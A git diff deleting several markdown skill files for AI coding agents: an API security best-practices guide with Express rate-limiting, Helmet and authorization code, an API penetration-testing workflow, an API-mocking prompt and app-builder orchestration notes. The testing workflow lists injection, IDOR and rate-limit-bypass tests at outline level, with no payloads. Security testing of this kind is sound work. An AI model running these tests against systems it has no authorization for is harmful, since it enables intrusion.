windowMs: 15 * 60 * 1000, // 15 minutes
|
||||
max: 100, // 100 requests per window
|
||||
message: {
|
||||
error: 'Too many requests, please try again later',
|
||||
retryAfter: 900 // seconds
|
||||
},
|
||||
standardHeaders: true, // Return rate limit info in headers
|
||||
legacyHeaders: false,
|
||||
// Custom key generator (by user ID or IP)
|
||||
keyGenerator: (req) => {
|
||||
return req.user?.userId || req.ip;
|
||||
}
|
||||
});
|
||||
|
||||
// Strict rate limit for authentication endpoints
|
||||
const authLimiter = rateLimit({
|
||||
store: new RedisStore({
|
||||
client: redis,
|
||||
prefix: 'rl:auth:'
|
||||
}),
|
||||
windowMs: 15 * 60 * 1000, // 15 minutes
|
||||
max: 5, // Only 5 login attempts per 15 minutes
|
||||
skipSuccessfulRequests: true, // Don't count successful logins
|
||||
message: {
|
||||
error: 'Too many login attempts, please try again later',
|
||||
retryAfter: 900
|
||||
}
|
||||
});
|
||||
|
||||
// Apply rate limiters
|
||||
app.use('/api/', apiLimiter);
|
||||
app.use('/api/auth/login', authLimiter);
|
||||
app.use('/api/auth/register', authLimiter);
|
||||
|
||||
// Custom rate limiter for expensive operations
|
||||
const expensiveLimiter = rateLimit({
|
||||
windowMs: 60 * 60 * 1000, // 1 hour
|
||||
max: 10, // 10 requests per hour
|
||||
message: {
|
||||
error: 'Rate limit exceeded for this operation'
|
||||
}
|
||||
});
|
||||
|
||||
app.post('/api/reports/generate',
|
||||
authenticateToken,
|
||||
expensiveLimiter,
|
||||
async (req, res) => {
|
||||
// Expensive operation
|
||||
}
|
||||
);
|
||||
\`\`\`
|
||||
|
||||
### Advanced: Per-User Rate Limiting
|
||||
|
||||
\`\`\`javascript
|
||||
// Different limits based on user tier
|
||||
function createTieredRateLimiter() {
|
||||
const limits = {
|
||||
free: { windowMs: 60 * 60 * 1000, max: 100 },
|
||||
pro: { windowMs: 60 * 60 * 1000, max: 1000 },
|
||||
enterprise: { windowMs: 60 * 60 * 1000, max: 10000 }
|
||||
};
|
||||
|
||||
return async (req, res, next) => {
|
||||
const user = req.user;
|
||||
const tier = user?.tier || 'free';
|
||||
const limit = limits[tier];
|
||||
|
||||
const key = \`rl:user:\${user.userId}\`;
|
||||
const current = await redis.incr(key);
|
||||
|
||||
if (current === 1) {
|
||||
await redis.expire(key, limit.windowMs / 1000);
|
||||
}
|
||||
|
||||
if (current > limit.max) {
|
||||
return res.status(429).json({
|
||||
error: 'Rate limit exceeded',
|
||||
limit: limit.max,
|
||||
remaining: 0,
|
||||
reset: await redis.ttl(key)
|
||||
});
|
||||
}
|
||||
|
||||
// Set rate limit headers
|
||||
res.set({
|
||||
'X-RateLimit-Limit': limit.max,
|
||||
'X-RateLimit-Remaining': limit.max - current,
|
||||
'X-RateLimit-Reset': await redis.ttl(key)
|
||||
});
|
||||
|
||||
next();
|
||||
};
|
||||
}
|
||||
|
||||
app.use('/api/', authenticateToken, createTieredRateLimiter());
|
||||
\`\`\`
|
||||
|
||||
### DDoS Protection with Helmet
|
||||
|
||||
\`\`\`javascript
|
||||
const helmet = require('helmet');
|
||||
|
||||
app.use(helmet({
|
||||
// Content Security Policy
|
||||
contentSecurityPolicy: {
|
||||
directives: {
|
||||
defaultSrc: ["'self'"],
|
||||
styleSrc: ["'self'", "'unsafe-inline'"],
|
||||
scriptSrc: ["'self'"],
|
||||
imgSrc: ["'self'", 'data:', 'https:']
|
||||
}
|
||||
},
|
||||
// Prevent clickjacking
|
||||
frameguard: { action: 'deny' },
|
||||
// Hide X-Powered-By header
|
||||
hidePoweredBy: true,
|
||||
// Prevent MIME type sniffing
|
||||
noSniff: true,
|
||||
// Enable HSTS
|
||||
hsts: {
|
||||
maxAge: 31536000,
|
||||
includeSubDomains: true,
|
||||
preload: true
|
||||
}
|
||||
}));
|
||||
\`\`\`
|
||||
|
||||
### Rate Limit Response Headers
|
||||
|
||||
\`\`\`
|
||||
X-RateLimit-Limit: 100
|
||||
X-RateLimit-Remaining: 87
|
||||
X-RateLimit-Reset: 1640000000
|
||||
Retry-After: 900
|
||||
\`\`\`
|
||||
```
|
||||
|
||||
## Best Practices
|
||||
|
||||
### ✅ Do This
|
||||
|
||||
- **Use HTTPS Everywhere** - Never send sensitive data over HTTP
|
||||
- **Implement Authentication** - Require authentication for protected endpoints
|
||||
- **Validate All Inputs** - Never trust user input
|
||||
- **Use Parameterized Queries** - Prevent SQL injection
|
||||
- **Implement Rate Limiting** - Protect against brute force and DDoS
|
||||
- **Hash Passwords** - Use bcrypt with salt rounds >= 10
|
||||
- **Use Short-Lived Tokens** - JWT access tokens should expire quickly
|
||||
- **Implement CORS Properly** - Only allow trusted origins
|
||||
- **Log Security Events** - Monitor for suspicious activity
|
||||
- **Keep Dependencies Updated** - Regularly update packages
|
||||
- **Use Security Headers** - Implement Helmet.js
|
||||
- **Sanitize Error Messages** - Don't leak sensitive information
|
||||
|
||||
### ❌ Don't Do This
|
||||
|
||||
- **Don't Store Passwords in Plain Text** - Always hash passwords
|
||||
- **Don't Use Weak Secrets** - Use strong, random JWT secrets
|
||||
- **Don't Trust User Input** - Always validate and sanitize
|
||||
- **Don't Expose Stack Traces** - Hide error details in production
|
||||
- **Don't Use String Concatenation for SQL** - Use parameterized queries
|
||||
- **Don't Store Sensitive Data in JWT** - JWTs are not encrypted
|
||||
- **Don't Ignore Security Updates** - Update dependencies regularly
|
||||
- **Don't Use Default Credentials** - Change all default passwords
|
||||
- **Don't Disable CORS Completely** - Configure it properly instead
|
||||
- **Don't Log Sensitive Data** - Sanitize logs
|
||||
|
||||
## Common Pitfalls
|
||||
|
||||
### Problem: JWT Secret Exposed in Code
|
||||
**Symptoms:** JWT secret hardcoded or committed to Git
|
||||
**Solution:**
|
||||
\`\`\`javascript
|
||||
// ❌ Bad
|
||||
const JWT_SECRET = 'my-secret-key';
|
||||
|
||||
// ✅ Good
|
||||
const JWT_SECRET = process.env.JWT_SECRET;
|
||||
if (!JWT_SECRET) {
|
||||
throw new Error('JWT_SECRET environment variable is required');
|
||||
}
|
||||
|
||||
// Generate strong secret
|
||||
// node -e "console.log(require('crypto').randomBytes(64).toString('hex'))"
|
||||
\`\`\`
|
||||
|
||||
### Problem: Weak Password Requirements
|
||||
**Symptoms:** Users can set weak passwords like "password123"
|
||||
**Solution:**
|
||||
\`\`\`javascript
|
||||
const passwordSchema = z.string()
|
||||
.min(12, 'Password must be at least 12 characters')
|
||||
.regex(/[A-Z]/, 'Must contain uppercase letter')
|
||||
.regex(/[a-z]/, 'Must contain lowercase letter')
|
||||
.regex(/[0-9]/, 'Must contain number')
|
||||
.regex(/[^A-Za-z0-9]/, 'Must contain special character');
|
||||
|
||||
// Or use a password strength library
|
||||
const zxcvbn = require('zxcvbn');
|
||||
const result = zxcvbn(password);
|
||||
if (result.score < 3) {
|
||||
return res.status(400).json({
|
||||
error: 'Password too weak',
|
||||
suggestions: result.feedback.suggestions
|
||||
});
|
||||
}
|
||||
\`\`\`
|
||||
|
||||
### Problem: Missing Authorization Checks
|
||||
**Symptoms:** Users can access resources they shouldn't
|
||||
**Solution:**
|
||||
\`\`\`javascript
|
||||
// ❌ Bad: Only checks authentication
|
||||
app.delete('/api/posts/:id', authenticateToken, async (req, res) => {
|
||||
await prisma.post.delete({ where: { id: req.params.id } });
|
||||
res.json({ success: true });
|
||||
});
|
||||
|
||||
// ✅ Good: Checks both authentication and authorization
|
||||
app.delete('/api/posts/:id', authenticateToken, async (req, res) => {
|
||||
const post = await prisma.post.findUnique({
|
||||
where: { id: req.params.id }
|
||||
});
|
||||
|
||||
if (!post) {
|
||||
return res.status(404).json({ error: 'Post not found' });
|
||||
}
|
||||
|
||||
// Check if user owns the post or is admin
|
||||
if (post.userId !== req.user.userId && req.user.role !== 'admin') {
|
||||
return res.status(403).json({
|
||||
error: 'Not authorized to delete this post'
|
||||
});
|
||||
}
|
||||
|
||||
await prisma.post.delete({ where: { id: req.params.id } });
|
||||
res.json({ success: true });
|
||||
});
|
||||
\`\`\`
|
||||
|
||||
### Problem: Verbose Error Messages
|
||||
**Symptoms:** Error messages reveal system details
|
||||
**Solution:**
|
||||
\`\`\`javascript
|
||||
// ❌ Bad: Exposes database details
|
||||
app.post('/api/users', async (req, res) => {
|
||||
try {
|
||||
const user = await prisma.user.create({ data: req.body });
|
||||
res.json(user);
|
||||
} catch (error) {
|
||||
res.status(500).json({ error: error.message });
|
||||
// Error: "Unique constraint failed on the fields: (`email`)"
|
||||
}
|
||||
});
|
||||
|
||||
// ✅ Good: Generic error message
|
||||
app.post('/api/users', async (req, res) => {
|
||||
try {
|
||||
const user = await prisma.user.create({ data: req.body });
|
||||
res.json(user);
|
||||
} catch (error) {
|
||||
console.error('User creation error:', error); // Log full error
|
||||
|
||||
if (error.code === 'P2002') {
|
||||
return res.status(400).json({
|
||||
error: 'Email already exists'
|
||||
});
|
||||
}
|
||||
|
||||
res.status(500).json({
|
||||
error: 'An error occurred while creating user'
|
||||
});
|
||||
}
|
||||
});
|
||||
\`\`\`
|
||||
|
||||
## Security Checklist
|
||||
|
||||
### Authentication & Authorization
|
||||
- [ ] Implement strong authentication (JWT, OAuth 2.0)
|
||||
- [ ] Use HTTPS for all endpoints
|
||||
- [ ] Hash passwords with bcrypt (salt rounds >= 10)
|
||||
- [ ] Implement token expiration
|
||||
- [ ] Add refresh token mechanism
|
||||
- [ ] Verify user authorization for each request
|
||||
- [ ] Implement role-based access control (RBAC)
|
||||
|
||||
### Input Validation
|
||||
- [ ] Validate all user inputs
|
||||
- [ ] Use parameterized queries or ORM
|
||||
- [ ] Sanitize HTML content
|
||||
- [ ] Validate file uploads
|
||||
- [ ] Implement request schema validation
|
||||
- [ ] Use allowlists, not blocklists
|
||||
|
||||
### Rate Limiting & DDoS Protection
|
||||
- [ ] Implement rate limiting per user/IP
|
||||
- [ ] Add stricter limits for auth endpoints
|
||||
- [ ] Use Redis for distributed rate limiting
|
||||
- [ ] Return proper rate limit headers
|
||||
- [ ] Implement request throttling
|
||||
|
||||
### Data Protection
|
||||
- [ ] Use HTTPS/TLS for all traffic
|
||||
- [ ] Encrypt sensitive data at rest
|
||||
- [ ] Don't store sensitive data in JWT
|
||||
- [ ] Sanitize error messages
|
||||
- [ ] Implement proper CORS configuration
|
||||
- [ ] Use security headers (Helmet.js)
|
||||
|
||||
### Monitoring & Logging
|
||||
- [ ] Log security events
|
||||
- [ ] Monitor for suspicious activity
|
||||
- [ ] Set up alerts for failed auth attempts
|
||||
- [ ] Track API usage patterns
|
||||
- [ ] Don't log sensitive data
|
||||
|
||||
## OWASP API Security Top 10
|
||||
|
||||
1. **Broken Object Level Authorization** - Always verify user can access resource
|
||||
2. **Broken Authentication** - Implement strong authentication mechanisms
|
||||
3. **Broken Object Property Level Authorization** - Validate which properties user can access
|
||||
4. **Unrestricted Resource Consumption** - Implement rate limiting and quotas
|
||||
5. **Broken Function Level Authorization** - Verify user role for each function
|
||||
6. **Unrestricted Access to Sensitive Business Flows** - Protect critical workflows
|
||||
7. **Server Side Request Forgery (SSRF)** - Validate and sanitize URLs
|
||||
8. **Security Misconfiguration** - Use security best practices and headers
|
||||
9. **Improper Inventory Management** - Document and secure all API endpoints
|
||||
10. **Unsafe Consumption of APIs** - Validate data from third-party APIs
|
||||
|
||||
## Related Skills
|
||||
|
||||
- `@ethical-hacking-methodology` - Security testing perspective
|
||||
- `@sql-injection-testing` - Testing for SQL injection
|
||||
- `@xss-html-injection` - Testing for XSS vulnerabilities
|
||||
- `@broken-authentication` - Authentication vulnerabilities
|
||||
- `@backend-dev-guidelines` - Backend development standards
|
||||
- `@systematic-debugging` - Debug security issues
|
||||
|
||||
## Additional Resources
|
||||
|
||||
- [OWASP API Security Top 10](https://owasp.org/www-project-api-security/)
|
||||
- [JWT Best Practices](https://tools.ietf.org/html/rfc8725)
|
||||
- [Express Security Best Practices](https://expressjs.com/en/advanced/best-practice-security.html)
|
||||
- [Node.js Security Checklist](https://blog.risingstack.com/node-js-security-checklist/)
|
||||
- [API Security Checklist](https://github.com/shieldfy/API-Security-Checklist)
|
||||
|
||||
---
|
||||
|
||||
**Pro Tip:** Security is not a one-time task - regularly audit your APIs, keep dependencies updated, and stay informed about new vulnerabilities!
|
||||
@@ -1,172 +0,0 @@
|
||||
---
|
||||
name: api-security-testing
|
||||
description: "API security testing workflow for REST and GraphQL APIs covering authentication, authorization, rate limiting, input validation, and security best practices."
|
||||
source: personal
|
||||
risk: safe
|
||||
domain: security
|
||||
category: granular-workflow-bundle
|
||||
version: 1.0.0
|
||||
---
|
||||
|
||||
# API Security Testing Workflow
|
||||
|
||||
## Overview
|
||||
|
||||
Specialized workflow for testing REST and GraphQL API security including authentication, authorization, rate limiting, input validation, and API-specific vulnerabilities.
|
||||
|
||||
## When to Use This Workflow
|
||||
|
||||
Use this workflow when:
|
||||
- Testing REST API security
|
||||
- Assessing GraphQL endpoints
|
||||
- Validating API authentication
|
||||
- Testing API rate limiting
|
||||
- Bug bounty API testing
|
||||
|
||||
## Workflow Phases
|
||||
|
||||
### Phase 1: API Discovery
|
||||
|
||||
#### Skills to Invoke
|
||||
- `api-fuzzing-bug-bounty` - API fuzzing
|
||||
- `scanning-tools` - API scanning
|
||||
|
||||
#### Actions
|
||||
1. Enumerate endpoints
|
||||
2. Document API methods
|
||||
3. Identify parameters
|
||||
4. Map data flows
|
||||
5. Review documentation
|
||||
|
||||
#### Copy-Paste Prompts
|
||||
```
|
||||
Use @api-fuzzing-bug-bounty to discover API endpoints
|
||||
```
|
||||
|
||||
### Phase 2: Authentication Testing
|
||||
|
||||
#### Skills to Invoke
|
||||
- `broken-authentication` - Auth testing
|
||||
- `api-security-best-practices` - API auth
|
||||
|
||||
#### Actions
|
||||
1. Test API key validation
|
||||
2. Test JWT tokens
|
||||
3. Test OAuth2 flows
|
||||
4. Test token expiration
|
||||
5. Test refresh tokens
|
||||
|
||||
#### Copy-Paste Prompts
|
||||
```
|
||||
Use @broken-authentication to test API authentication
|
||||
```
|
||||
|
||||
### Phase 3: Authorization Testing
|
||||
|
||||
#### Skills to Invoke
|
||||
- `idor-testing` - IDOR testing
|
||||
|
||||
#### Actions
|
||||
1. Test object-level authorization
|
||||
2. Test function-level authorization
|
||||
3. Test role-based access
|
||||
4. Test privilege escalation
|
||||
5. Test multi-tenant isolation
|
||||
|
||||
#### Copy-Paste Prompts
|
||||
```
|
||||
Use @idor-testing to test API authorization
|
||||
```
|
||||
|
||||
### Phase 4: Input Validation
|
||||
|
||||
#### Skills to Invoke
|
||||
- `api-fuzzing-bug-bounty` - API fuzzing
|
||||
- `sql-injection-testing` - Injection testing
|
||||
|
||||
#### Actions
|
||||
1. Test parameter validation
|
||||
2. Test SQL injection
|
||||
3. Test NoSQL injection
|
||||
4. Test command injection
|
||||
5. Test XXE injection
|
||||
|
||||
#### Copy-Paste Prompts
|
||||
```
|
||||
Use @api-fuzzing-bug-bounty to fuzz API parameters
|
||||
```
|
||||
|
||||
### Phase 5: Rate Limiting
|
||||
|
||||
#### Skills to Invoke
|
||||
- `api-security-best-practices` - Rate limiting
|
||||
|
||||
#### Actions
|
||||
1. Test rate limit headers
|
||||
2. Test brute force protection
|
||||
3. Test resource exhaustion
|
||||
4. Test bypass techniques
|
||||
5. Document limitations
|
||||
|
||||
#### Copy-Paste Prompts
|
||||
```
|
||||
Use @api-security-best-practices to test rate limiting
|
||||
```
|
||||
|
||||
### Phase 6: GraphQL Testing
|
||||
|
||||
#### Skills to Invoke
|
||||
- `api-fuzzing-bug-bounty` - GraphQL fuzzing
|
||||
|
||||
#### Actions
|
||||
1. Test introspection
|
||||
2. Test query depth
|
||||
3. Test query complexity
|
||||
4. Test batch queries
|
||||
5. Test field suggestions
|
||||
|
||||
#### Copy-Paste Prompts
|
||||
```
|
||||
Use @api-fuzzing-bug-bounty to test GraphQL security
|
||||
```
|
||||
|
||||
### Phase 7: Error Handling
|
||||
|
||||
#### Skills to Invoke
|
||||
- `api-security-best-practices` - Error handling
|
||||
|
||||
#### Actions
|
||||
1. Test error messages
|
||||
2. Check information disclosure
|
||||
3. Test stack traces
|
||||
4. Verify logging
|
||||
5. Document findings
|
||||
|
||||
#### Copy-Paste Prompts
|
||||
```
|
||||
Use @api-security-best-practices to audit API error handling
|
||||
```
|
||||
|
||||
## API Security Checklist
|
||||
|
||||
- [ ] Authentication working
|
||||
- [ ] Authorization enforced
|
||||
- [ ] Input validated
|
||||
- [ ] Rate limiting active
|
||||
- [ ] Errors sanitized
|
||||
- [ ] Logging enabled
|
||||
- [ ] CORS configured
|
||||
- [ ] HTTPS enforced
|
||||
|
||||
## Quality Gates
|
||||
|
||||
- [ ] All endpoints tested
|
||||
- [ ] Vulnerabilities documented
|
||||
- [ ] Remediation provided
|
||||
- [ ] Report generated
|
||||
|
||||
## Related Workflow Bundles
|
||||
|
||||
- `security-audit` - Security auditing
|
||||
- `web-security-testing` - Web security
|
||||
- `api-development` - API development
|
||||
@@ -1,48 +0,0 @@
|
||||
---
|
||||
name: api-testing-observability-api-mock
|
||||
description: "You are an API mocking expert specializing in realistic mock services for development, testing, and demos. Design mocks that simulate real API behavior and enable parallel development."
|
||||
risk: unknown
|
||||
source: community
|
||||
---
|
||||
|
||||
# API Mocking Framework
|
||||
|
||||
You are an API mocking expert specializing in creating realistic mock services for development, testing, and demonstration purposes. Design comprehensive mocking solutions that simulate real API behavior, enable parallel development, and facilitate thorough testing.
|
||||
|
||||
## Use this skill when
|
||||
|
||||
- Building mock APIs for frontend or integration testing
|
||||
- Simulating partner or third-party APIs during development
|
||||
- Creating demo environments with realistic responses
|
||||
- Validating API contracts before backend completion
|
||||
|
||||
## Do not use this skill when
|
||||
|
||||
- You need to test production systems or live integrations
|
||||
- The task is security testing or penetration testing
|
||||
- There is no API contract or expected behavior to mock
|
||||
|
||||
## Safety
|
||||
|
||||
- Avoid reusing production secrets or real customer data in mocks.
|
||||
- Make mock endpoints clearly labeled to prevent accidental use.
|
||||
|
||||
## Context
|
||||
|
||||
The user needs to create mock APIs for development, testing, or demonstration purposes. Focus on creating flexible, realistic mocks that accurately simulate production API behavior while enabling efficient development workflows.
|
||||
|
||||
## Requirements
|
||||
|
||||
$ARGUMENTS
|
||||
|
||||
## Instructions
|
||||
|
||||
- Clarify the API contract, auth flows, error shapes, and latency expectations.
|
||||
- Define mock routes, scenarios, and state transitions before generating responses.
|
||||
- Provide deterministic fixtures with optional randomness toggles.
|
||||
- Document how to run the mock server and how to switch scenarios.
|
||||
- If detailed implementation is requested, open `resources/implementation-playbook.md`.
|
||||
|
||||
## Resources
|
||||
|
||||
- `resources/implementation-playbook.md` for code samples, checklists, and templates.
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,80 +0,0 @@
|
||||
---
|
||||
name: app-builder
|
||||
description: "Main application building orchestrator. Creates full-stack applications from natural language requests. Determines project type, selects tech stack, coordinates agents."
|
||||
allowed-tools: Read, Write, Edit, Glob, Grep, Bash, Agent
|
||||
risk: unknown
|
||||
source: community
|
||||
---
|
||||
|
||||
# App Builder - Application Building Orchestrator
|
||||
|
||||
> Analyzes user's requests, determines tech stack, plans structure, and coordinates agents.
|
||||
|
||||
## 🎯 Selective Reading Rule
|
||||
|
||||
**Read ONLY files relevant to the request!** Check the content map, find what you need.
|
||||
|
||||
| File | Description | When to Read |
|
||||
|------|-------------|--------------|
|
||||
| `project-detection.md` | Keyword matrix, project type detection | Starting new project |
|
||||
| `tech-stack.md` | 2025 default stack, alternatives | Choosing technologies |
|
||||
| `agent-coordination.md` | Agent pipeline, execution order | Coordinating multi-agent work |
|
||||
| `scaffolding.md` | Directory structure, core files | Creating project structure |
|
||||
| `feature-building.md` | Feature analysis, error handling | Adding features to existing project |
|
||||
| `templates/SKILL.md` | **Project templates** | Scaffolding new project |
|
||||
|
||||
---
|
||||
|
||||
## 📦 Templates (13)
|
||||
|
||||
Quick-start scaffolding for new projects. **Read the matching template only!**
|
||||
|
||||
| Template | Tech Stack | When to Use |
|
||||
|----------|------------|-------------|
|
||||
| [nextjs-fullstack](templates/nextjs-fullstack/TEMPLATE.md) | Next.js + Prisma | Full-stack web app |
|
||||
| [nextjs-saas](templates/nextjs-saas/TEMPLATE.md) | Next.js + Stripe | SaaS product |
|
||||
| [nextjs-static](templates/nextjs-static/TEMPLATE.md) | Next.js + Framer | Landing page |
|
||||
| [nuxt-app](templates/nuxt-app/TEMPLATE.md) | Nuxt 3 + Pinia | Vue full-stack app |
|
||||
| [express-api](templates/express-api/TEMPLATE.md) | Express + JWT | REST API |
|
||||
| [python-fastapi](templates/python-fastapi/TEMPLATE.md) | FastAPI | Python API |
|
||||
| [react-native-app](templates/react-native-app/TEMPLATE.md) | Expo + Zustand | Mobile app |
|
||||
| [flutter-app](templates/flutter-app/TEMPLATE.md) | Flutter + Riverpod | Cross-platform mobile |
|
||||
| [electron-desktop](templates/electron-desktop/TEMPLATE.md) | Electron + React | Desktop app |
|
||||
| [chrome-extension](templates/chrome-extension/TEMPLATE.md) | Chrome MV3 | Browser extension |
|
||||
| [cli-tool](templates/cli-tool/TEMPLATE.md) | Node.js + Commander | CLI app |
|
||||
| [monorepo-turborepo](templates/monorepo-turborepo/TEMPLATE.md) | Turborepo + pnpm | Monorepo |
|
||||
|
||||
---
|
||||
|
||||
## 🔗 Related Agents
|
||||
|
||||
| Agent | Role |
|
||||
|-------|------|
|
||||
| `project-planner` | Task breakdown, dependency graph |
|
||||
| `frontend-specialist` | UI components, pages |
|
||||
| `backend-specialist` | API, business logic |
|
||||
| `database-architect` | Schema, migrations |
|
||||
| `devops-engineer` | Deployment, preview |
|
||||
|
||||
---
|
||||
|
||||
## Usage Example
|
||||
|
||||
```
|
||||
User: "Make an Instagram clone with photo sharing and likes"
|
||||
|
||||
App Builder Process:
|
||||
1. Project type: Social Media App
|
||||
2. Tech stack: Next.js + Prisma + Cloudinary + Clerk
|
||||
3. Create plan:
|
||||
├─ Database schema (users, posts, likes, follows)
|
||||
├─ API routes (12 endpoints)
|
||||
├─ Pages (feed, profile, upload)
|
||||
└─ Components (PostCard, Feed, LikeButton)
|
||||
4. Coordinate agents
|
||||
5. Report progress
|
||||
6. Start preview
|
||||
```
|
||||
|
||||
## When to Use
|
||||
This skill is applicable to execute the workflow or actions described in the overview.
|
||||
@@ -1,71 +0,0 @@
|
||||
# Agent Coordination
|
||||
|
||||
> How App Builder orchestrates specialist agents.
|
||||
|
||||
## Agent Pipeline
|
||||
|
||||
```
|
||||
┌─────────────────────────────────────────────────────────────┐
|
||||
│ APP BUILDER (Orchestrator) │
|
||||
└─────────────────────────────────────────────────────────────┘
|
||||
│
|
||||
▼
|
||||
┌─────────────────────────────────────────────────────────────┐
|
||||
│ PROJECT PLANNER │
|
||||
│ • Task breakdown │
|
||||
│ • Dependency graph │
|
||||
│ • File structure planning │
|
||||
│ • Create {task-slug}.md in project root (MANDATORY) │
|
||||
└─────────────────────────────────────────────────────────────┘
|
||||
│
|
||||
▼
|
||||
┌─────────────────────────────────────────────────────────────┐
|
||||
│ CHECKPOINT: PLAN VERIFICATION │
|
||||
│ 🔴 VERIFY: Does {task-slug}.md exist in project root? │
|
||||
│ 🔴 If NO → STOP → Create plan file first │
|
||||
│ 🔴 If YES → Proceed to specialist agents │
|
||||
└─────────────────────────────────────────────────────────────┘
|
||||
│
|
||||
┌───────────────────┼───────────────────┐
|
||||
▼ ▼ ▼
|
||||
┌─────────────────┐ ┌─────────────────┐ ┌─────────────────┐
|
||||
│ DATABASE │ │ BACKEND │ │ FRONTEND │
|
||||
│ ARCHITECT │ │ SPECIALIST │ │ SPECIALIST │
|
||||
│ │ │ │ │ │
|
||||
│ • Schema design │ │ • API routes │ │ • Components │
|
||||
│ • Migrations │ │ • Controllers │ │ • Pages │
|
||||
│ • Seed data │ │ • Middleware │ │ • Styling │
|
||||
└─────────────────┘ └─────────────────┘ └─────────────────┘
|
||||
│ │ │
|
||||
└───────────────────┼───────────────────┘
|
||||
▼
|
||||
┌─────────────────────────────────────────────────────────────┐
|
||||
│ PARALLEL PHASE (Optional) │
|
||||
│ • Security Auditor → Vulnerability check │
|
||||
│ • Test Engineer → Unit tests │
|
||||
│ • Performance Optimizer → Bundle analysis │
|
||||
└─────────────────────────────────────────────────────────────┘
|
||||
│
|
||||
▼
|
||||
┌─────────────────────────────────────────────────────────────┐
|
||||
│ DEVOPS ENGINEER │
|
||||
│ • Environment setup │
|
||||
│ • Preview deployment │
|
||||
│ • Health check │
|
||||
└─────────────────────────────────────────────────────────────┘
|
||||
```
|
||||
|
||||
## Execution Order
|
||||
|
||||
| Phase | Agent(s) | Parallel? | Prerequisite | CHECKPOINT |
|
||||
|-------|----------|-----------|--------------|------------|
|
||||
| 0 | Socratic Gate | ❌ | - | ✅ Ask 3 questions |
|
||||
| 1 | Project Planner | ❌ | Questions answered | ✅ **PLAN.md created** |
|
||||
| 1.5 | **PLAN VERIFICATION** | ❌ | PLAN.md exists | ✅ **File exists in root** |
|
||||
| 2 | Database Architect | ❌ | Plan ready | Schema defined |
|
||||
| 3 | Backend Specialist | ❌ | Schema ready | API routes created |
|
||||
| 4 | Frontend Specialist | ✅ | API ready (partial) | UI components ready |
|
||||
| 5 | Security Auditor, Test Engineer | ✅ | Code ready | Tests & audit pass |
|
||||
| 6 | DevOps Engineer | ❌ | All code ready | Deployment ready |
|
||||
|
||||
> 🔴 **CRITICAL:** Phase 1.5 is MANDATORY. No specialist agents proceed without PLAN.md verification.
|
||||
@@ -1,53 +0,0 @@
|
||||
# Feature Building
|
||||
|
||||
> How to analyze and implement new features.
|
||||
|
||||
## Feature Analysis
|
||||
|
||||
```
|
||||
Request: "add payment system"
|
||||
|
||||
Analysis:
|
||||
├── Required Changes:
|
||||
│ ├── Database: orders, payments tables
|
||||
│ ├── Backend: /api/checkout, /api/webhooks/stripe
|
||||
│ ├── Frontend: CheckoutForm, PaymentSuccess
|
||||
│ └── Config: Stripe API keys
|
||||
│
|
||||
├── Dependencies:
|
||||
│ ├── stripe package
|
||||
│ └── Existing user authentication
|
||||
│
|
||||
└── Estimated Time: 15-20 minutes
|
||||
```
|
||||
|
||||
## Iterative Enhancement Process
|
||||
|
||||
```
|
||||
1. Analyze existing project
|
||||
2. Create change plan
|
||||
3. Present plan to user
|
||||
4. Get approval
|
||||
5. Apply changes
|
||||
6. Test
|
||||
7. Show preview
|
||||
```
|
||||
|
||||
## Error Handling
|
||||
|
||||
| Error Type | Solution Strategy |
|
||||
|------------|-------------------|
|
||||
| TypeScript Error | Fix type, add missing import |
|
||||
| Missing Dependency | Run npm install |
|
||||
| Port Conflict | Suggest alternative port |
|
||||
| Database Error | Check migration, validate connection |
|
||||
|
||||
## Recovery Strategy
|
||||
|
||||
```
|
||||
1. Detect error
|
||||
2. Try automatic fix
|
||||
3. If failed, report to user
|
||||
4. Suggest alternative
|
||||
5. Rollback if necessary
|
||||
```
|
||||
@@ -1,34 +0,0 @@
|
||||
# Project Type Detection
|
||||
|
||||
> Analyze user requests to determine project type and template.
|
||||
|
||||
## Keyword Matrix
|
||||
|
||||
| Keywords | Project Type | Template |
|
||||
|----------|--------------|----------|
|
||||
| blog, post, article | Blog | astro-static |
|
||||
| e-commerce, product, cart, payment | E-commerce | nextjs-saas |
|
||||
| dashboard, panel, management | Admin Dashboard | nextjs-fullstack |
|
||||
| api, backend, service, rest | API Service | express-api |
|
||||
| python, fastapi, django | Python API | python-fastapi |
|
||||
| mobile, android, ios, react native | Mobile App (RN) | react-native-app |
|
||||
| flutter, dart | Mobile App (Flutter) | flutter-app |
|
||||
| portfolio, personal, cv | Portfolio | nextjs-static |
|
||||
| crm, customer, sales | CRM | nextjs-fullstack |
|
||||
| saas, subscription, stripe | SaaS | nextjs-saas |
|
||||
| landing, promotional, marketing | Landing Page | nextjs-static |
|
||||
| docs, documentation | Documentation | astro-static |
|
||||
| extension, plugin, chrome | Browser Extension | chrome-extension |
|
||||
| desktop, electron | Desktop App | electron-desktop |
|
||||
| cli, command line, terminal | CLI Tool | cli-tool |
|
||||
| monorepo, workspace | Monorepo | monorepo-turborepo |
|
||||
|
||||
## Detection Process
|
||||
|
||||
```
|
||||
1. Tokenize user request
|
||||
2. Extract keywords
|
||||
3. Determine project type
|
||||
4. Detect missing information → forward to conversation-manager
|
||||
5. Suggest tech stack
|
||||
```
|
||||
@@ -1,118 +0,0 @@
|
||||
# Project Scaffolding
|
||||
|
||||
> Directory structure and core files for new projects.
|
||||
|
||||
---
|
||||
|
||||
## Next.js Full-Stack Structure (2025 Optimized)
|
||||
|
||||
```
|
||||
project-name/
|
||||
├── src/
|
||||
│ ├── app/ # Routes only (thin layer)
|
||||
│ │ ├── layout.tsx
|
||||
│ │ ├── page.tsx
|
||||
│ │ ├── globals.css
|
||||
│ │ ├── (auth)/ # Route group - auth pages
|
||||
│ │ │ ├── login/page.tsx
|
||||
│ │ │ └── register/page.tsx
|
||||
│ │ ├── (dashboard)/ # Route group - dashboard layout
|
||||
│ │ │ ├── layout.tsx
|
||||
│ │ │ └── page.tsx
|
||||
│ │ └── api/
|
||||
│ │ └── [resource]/route.ts
|
||||
│ │
|
||||
│ ├── features/ # Feature-based modules
|
||||
│ │ ├── auth/
|
||||
│ │ │ ├── components/
|
||||
│ │ │ ├── hooks/
|
||||
│ │ │ ├── actions.ts # Server Actions
|
||||
│ │ │ ├── queries.ts # Data fetching
|
||||
│ │ │ └── types.ts
|
||||
│ │ ├── products/
|
||||
│ │ │ ├── components/
|
||||
│ │ │ ├── actions.ts
|
||||
│ │ │ └── queries.ts
|
||||
│ │ └── cart/
|
||||
│ │ └── ...
|
||||
│ │
|
||||
│ ├── shared/ # Shared utilities
|
||||
│ │ ├── components/ui/ # Reusable UI components
|
||||
